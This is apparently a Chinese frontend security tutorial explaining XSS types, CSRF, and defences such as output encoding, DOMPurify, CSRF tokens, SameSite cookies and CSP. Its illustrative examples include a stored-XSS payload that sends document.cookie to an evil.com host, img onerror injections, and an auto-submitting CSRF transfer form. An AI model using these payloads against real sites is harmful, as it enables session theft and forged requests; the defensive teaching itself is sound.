前端安全 XSS 与 CSRF

文章目录

  • 前言
  • 一、XSS(跨站脚本攻击)
    • [1.1 定义](#1.1 定义)
    • [1.2 三种类型](#1.2 三种类型)
      • [存储型 XSS](#存储型 XSS)
      • [反射型 XSS](#反射型 XSS)
      • [DOM 型 XSS](#DOM 型 XSS)
  • [二、XSS 防御](#二、XSS 防御)
    • [2.1 输出编码](#2.1 输出编码)
    • [2.2 避免危险 API](#2.2 避免危险 API)
    • [2.3 使用 DOMPurify](#2.3 使用 DOMPurify)
  • 三、CSRF(跨站请求伪造)
    • [3.1 定义](#3.1 定义)
    • [3.2 攻击原理](#3.2 攻击原理)
  • [四、CSRF 防御](#四、CSRF 防御)
    • [4.1 SameSite Cookie](#4.1 SameSite Cookie)
    • [4.2 CSRF Token](#4.2 CSRF Token)
    • [4.3 验证 Origin / Referer](#4.3 验证 Origin / Referer)
  • 五、CSP(内容安全策略)
    • [5.1 定义](#5.1 定义)
    • [5.2 配置示例](#5.2 配置示例)
    • [5.3 常用指令](#5.3 常用指令)
  • [六、Cookie 安全属性](#六、Cookie 安全属性)
    • [6.1 各属性作用](#6.1 各属性作用)
  • [七、XSS 能否绕过 CSRF 防御](#七、XSS 能否绕过 CSRF 防御)
  • 八、面试聚焦
    • [8.1 富文本安全处理](#8.1 富文本安全处理)
    • [8.2 innerHTML 的风险](#8.2 innerHTML 的风险)
  • 九、易混淆点
  • 十、思考与练习
  • 总结

前言

前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:

  • XSS 的三种类型及防御
  • CSRF 的原理及防御
  • CSP(内容安全策略)
  • Cookie 安全属性

一、XSS(跨站脚本攻击)

1.1 定义

XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。

1.2 三种类型

存储型 XSS

恶意脚本存储在服务器(数据库),用户访问时自动执行。

javascript 复制代码
// 攻击场景:评论区
// 攻击者提交恶意评论
const comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

// 服务器存储后,其他用户访问时脚本执行
// 危害:窃取 Cookie、会话劫持

反射型 XSS

恶意脚本在 URL 中,服务器反射回响应时执行。

javascript 复制代码
// 攻击场景:搜索功能
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// 服务器将 query 直接拼接到 HTML
const html = `<div>搜索结果: ${query}</div>`

// 浏览器执行脚本

DOM 型 XSS

恶意脚本通过前端 JavaScript 直接操作 DOM 执行。

javascript 复制代码
// 攻击场景:从 URL 获取参数并插入 DOM
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash

// URL: https://example.com#<img src=x onerror="alert('XSS')">

二、XSS 防御

2.1 输出编码

javascript 复制代码
// 1. HTML 编码
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
}

// 使用
const userInput = '<script>alert("XSS")</script>'
document.getElementById('output').textContent = userInput  // 安全
// 或
document.getElementById('output').innerHTML = encodeHTML(userInput)  // 安全

2.2 避免危险 API

javascript 复制代码
// ❌ 危险:直接使用 innerHTML
element.innerHTML = userInput

// ✅ 安全:使用 textContent
element.textContent = userInput

// ❌ 危险:动态执行代码
eval(userInput)
new Function(userInput)()

// ❌ 危险:拼接 HTML
const html = `<div>${userInput}</div>`

2.3 使用 DOMPurify

javascript 复制代码
// 富文本内容过滤
import DOMPurify from 'dompurify'

const dirty = '<img src=x onerror="alert(1)"><p>Hello</p>'
const clean = DOMPurify.sanitize(dirty)
// <p>Hello</p>(危险标签被移除)

// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
  ALLOWED_ATTR: ['href', 'title']
})

三、CSRF(跨站请求伪造)

3.1 定义

CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。

3.2 攻击原理

html 复制代码
<!-- 用户已登录 bank.com -->
<!-- 攻击者在 evil.com 放置 -->

<!-- 自动发起转账请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>

<!-- 浏览器自动携带 bank.com 的 Cookie,请求成功 -->

四、CSRF 防御

javascript 复制代码
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite 属性值:
// Strict:完全禁止第三方 Cookie
// Lax:允许导航和 GET 请求携带(默认值)
// None:允许跨站携带(必须设置 Secure)

4.2 CSRF Token

javascript 复制代码
// 1. 服务器生成 Token
const csrfToken = generateRandomToken()
res.cookie('csrfToken', csrfToken)

// 2. 前端在请求中携带 Token
// 方式一:表单隐藏字段
<form>
  <input type="hidden" name="_csrf" value="${csrfToken}">
</form>

// 方式二:请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify(data)
})

// 3. 服务器验证 Token
app.post('/api/transfer', (req, res) => {
  if (req.headers['x-csrf-token'] !== req.cookies.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  // 处理请求
})

4.3 验证 Origin / Referer

javascript 复制代码
// 服务器检查请求来源
app.post('/api/transfer', (req, res) => {
  const origin = req.headers.origin || req.headers.referer
  if (!origin || !origin.startsWith('https://bank.com')) {
    return res.status(403).json({ error: 'Invalid origin' })
  }
  // 处理请求
})

五、CSP(内容安全策略)

5.1 定义

CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。

5.2 配置示例

javascript 复制代码
// HTTP 响应头
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;

// meta 标签
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

5.3 常用指令

javascript 复制代码
// script-src:限制脚本来源
//   'self':同源
//   'nonce-xxx':随机数匹配
//   'sha256-xxx':脚本哈希匹配

// style-src:限制样式来源
//   'unsafe-inline':允许内联样式(不推荐)

// connect-src:限制 AJAX / WebSocket 连接
//   'self':同源 API

// report-uri:违规上报地址
Content-Security-Policy: ...; report-uri /api/csp-report

六、Cookie 安全属性

javascript 复制代码
// 完整的 Cookie 安全配置
Set-Cookie: session=abc123; 
  Domain=example.com;
  Path=/;
  Secure;           // 只在 HTTPS 下发送
  HttpOnly;         // 禁止 JavaScript 访问
  SameSite=Strict;  // 禁止第三方携带
  Max-Age=3600;     // 过期时间

6.1 各属性作用

属性 作用
Secure 只在 HTTPS 下发送
HttpOnly 禁止 JavaScript 访问(防 XSS 窃取)
SameSite 限制第三方携带(防 CSRF)
Domain 指定 Cookie 适用域名
Path 指定 Cookie 适用路径

七、XSS 能否绕过 CSRF 防御

javascript 复制代码
// 场景:Cookie 设置了 SameSite=Strict
// 但攻击者通过 XSS 在目标站点执行脚本

// XSS 可以:
// 1. 在同源下发起请求(不受 SameSite 限制)
// 2. 读取页面中的 CSRF Token
// 3. 直接操作 DOM 提交表单

// 结论:XSS 可以绕过部分 CSRF 防御
// 因此:防御 XSS 是根本

八、面试聚焦

8.1 富文本安全处理

javascript 复制代码
// 问题:富文本允许用户输入 HTML,如何安全渲染?

// 方案:使用 DOMPurify 过滤
import DOMPurify from 'dompurify'

function renderRichText(dirty) {
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
  })
  return clean
}

// 危险属性需要过滤:
// onerror, onclick, onmouseover 等事件属性
// javascript: 协议的 href

8.2 innerHTML 的风险

javascript 复制代码
// ❌ 危险:直接拼接用户输入
element.innerHTML = `<div>${userInput}</div>`

// ✅ 安全:使用 textContent
element.textContent = userInput

// ✅ 安全:使用模板引擎自动转义
// Vue: {{ userInput }}  自动转义
// React: {userInput}    自动转义

九、易混淆点

  1. XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
  2. 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
  3. SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
  4. HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。

十、思考与练习

1. XSS 的三种类型及区别是什么?

解析:

  • 存储型:恶意脚本存储在服务器,所有用户访问都会触发
  • 反射型:恶意脚本在 URL 中,服务器反射回响应执行
  • DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行

2. 如何防御 XSS?

解析:

  • 输出编码(HTML 编码、URL 编码)
  • 避免危险 API(innerHTML、eval)
  • 使用 DOMPurify 过滤富文本
  • 设置 CSP 限制脚本来源

3. CSRF 的防御方案有哪些?

解析:

  • SameSite Cookie 限制第三方携带
  • CSRF Token 验证请求合法性
  • 验证 Origin / Referer 来源

4. 为什么 XSS 可以绕过 CSRF 防御?

解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。

5. Cookie 的安全属性有哪些?

解析:

  • Secure:只在 HTTPS 下发送
  • HttpOnly:禁止 JavaScript 访问
  • SameSite:限制第三方携带
  • Domain / Path:指定适用范围

总结

  • XSS:注入恶意脚本,分存储型、反射型、DOM 型
  • XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
  • CSRF:伪造用户请求,利用 Cookie 自动携带机制
  • CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
  • CSP:通过 HTTP 头限制页面可加载的资源
  • Cookie 安全:Secure + HttpOnly + SameSite 组合使用
相关推荐
其实防守也摸鱼22 分钟前
信创安全竞赛知识总结与题库
大数据·网络·人工智能·算法·安全·php
万联WANFLOW35 分钟前
异地厂区视频监控远程运维:从组网到安全的实施要点
运维·网络·安全·企业组网·sdwan
孟陬1 小时前
Foobar 技术周刊#159:当看不懂代码时,如何高效排障调试。脏页陷阱:一条只读查询,写入数 TB 数据。推测解码:大模型加速利器
前端·人工智能·后端
Zhao-Jichao1 小时前
AI Prompting for Everyone 课程笔记 - P17 图像生成 Imaging Generation
前端
长不大的杨瑞杰1 小时前
OpenCode v2 配置工程实战:Config 优先级、JSONC、变量替换与多环境治理
人工智能·安全·云计算·软件工程·devops
Highcharts.js2 小时前
智能数据分析组件Orbit 正式发布与快速上手体验教程
前端·人工智能·信息可视化·数据分析系统·highcharts·orbit·智能可视化
斗象科技2 小时前
斗象入选上海市“AI+制造“服务商能力图谱·AI安全服务商
人工智能·安全·制造
螺丝钉tina3 小时前
[Playwright ][16]Playwright + TypeScript API 自动化测试实战:API测试
前端·javascript·typescript
小天源3 小时前
智叟云集系统 · 架构与职责分层
服务器·前端·数据库
中二骚年4 小时前
Windows 安全中心 / 防火墙故障,calc和Microsoft Store,终端(管理员)无法正常打开。 原因 + 修复方案
windows·安全·microsoft